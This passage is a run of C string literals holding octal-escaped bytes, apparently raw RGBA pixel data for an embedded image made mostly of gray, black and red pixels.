"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"}||\377ppp\377\230\230\230\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\216\216\216"
"\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\226\222\222\377ppp\377ppp\334ppp\377ppp"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\216\216\216\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\226\222\222"
"\377ppp\377ppp\334ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\230"
"\230\230\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\216\216\216\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\226\223\223\377ppp\377ppp\335ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\230\230\230\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\216\216\216\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\226\223\223\377ppp\377ppp\335"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\216\216\216\377ppp\377\203\202\202\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\226"
"\223\223\377ppp\377ppp\335ppp\377ppp\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377p"
"pp\377\227\227\227\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\317"
"\317\317\377\302\302\302\377\266\266\266\377\266\266\266\377\266\266\266"
"\377\266\266\266\377\266\266\266\377\266\266\266\377\266\266\266\377\266"
"\266\266\377\275\275\275\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\216\216\216\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\226\223\223\377ppp\377ppp\335ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\227\227\227\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\247\247\247\377qqq\377___\377\071\071\071\377\026\026\026\377\012\012\012\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\202\202\202\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\216\216\216\377"
"ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\226\222\222\377ppp\377qqq\336ppp\377ppp\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377}||\377ppp\377\227\227\227\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\320\320\320\377\226\226\226\377UUU\377\026\026\026\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\002\000\000\377\021\000\000\377\""
"\000\000\377\"\000\000\377\"\000\000\377\"\000\000\377\"\000\000\377\"\000\000\377\"\000\000\377\023\000"
"\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\226\222\222\377ppp\377qqq\336ppp\377ppp\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377"
"ppp\377\227\227\227\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\261\261\261\377bbb\377\026\026\026\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\177\000\000\377\345\000\000\377\361"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\226\222\222\377ppp\377"
"qqq\336ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\241\241\241\377:::\377\000\000\000\377"
"\000\000\000\377\000\000\000\377&\000\000\377\200\000\000\377a\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377i\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\226\222\222\377ppp\377qqq\336ppp\377ppp\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377}||\377ppp\377\230\230\230\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\232\232\232\377\065\065\065\377"
"\000\000\000\377\000\000\000\377\015\000\000\377e\000\000\377\304\000\000\377\377\000\000\377\377\000\000"
"\377\272\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377%\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\226\223\223\377ppp\377p"
"pp\337ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\230\230\230\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
